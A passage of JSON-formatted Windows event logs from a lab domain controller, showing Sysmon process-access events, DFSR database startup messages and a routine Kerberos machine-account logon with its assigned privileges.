11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-001027E20500}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-001027E20500}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":102,"SourceName":"ESENT","Task":1,"RecordNumber":12118,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"DFSRs (2564) \\\\.\\C:\\System Volume Information\\DFSR\\database_F254_F862_54F8_2ACD\\dfsr.db: The database engine (10.00.14393.0000) is starting a new instance (0).","Category":"General","Opcode":"Info","EventReceivedTime":"2020-08-07 11:55:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":105,"SourceName":"ESENT","Task":1,"RecordNumber":12119,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"DFSRs (2564) \\\\.\\C:\\System Volume Information\\DFSR\\database_F254_F862_54F8_2ACD\\dfsr.db: The database engine started a new instance (0). (Time=0 seconds) \r\n \r\nInternal Timing Sequence: [1] 0.000, [2] 0.000, [3] 0.000, [4] 0.015, [5] 0.000, [6] 0.000, [7] 0.016, [8] 0.000, [9] 0.000, [10] 0.000.","Category":"General","Opcode":"Info","EventReceivedTime":"2020-08-07 11:55:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":326,"SourceName":"ESENT","Task":1,"RecordNumber":12120,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"DFSRs (2564) \\\\.\\C:\\System Volume Information\\DFSR\\database_F254_F862_54F8_2ACD\\dfsr.db: The database engine attached a database (1, \\\\.\\C:\\System Volume Information\\DFSR\\database_F254_F862_54F8_2ACD\\dfsr.db). (Time=0 seconds) \r\n \r\nInternal Timing Sequence: [1] 0.000, [2] 0.000, [3] 0.016, [4] 0.000, [5] 0.000, [6] 0.000, [7] 0.000, [8] 0.000, [9] 0.000, [10] 0.000, [11] 0.000, [12] 0.000. \r\nSaved Cache: 0 0","Category":"General","Opcode":"Info","EventReceivedTime":"2020-08-07 11:55:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221803,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5E8E3\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5e8e3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221804,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5E8E3\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51414\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 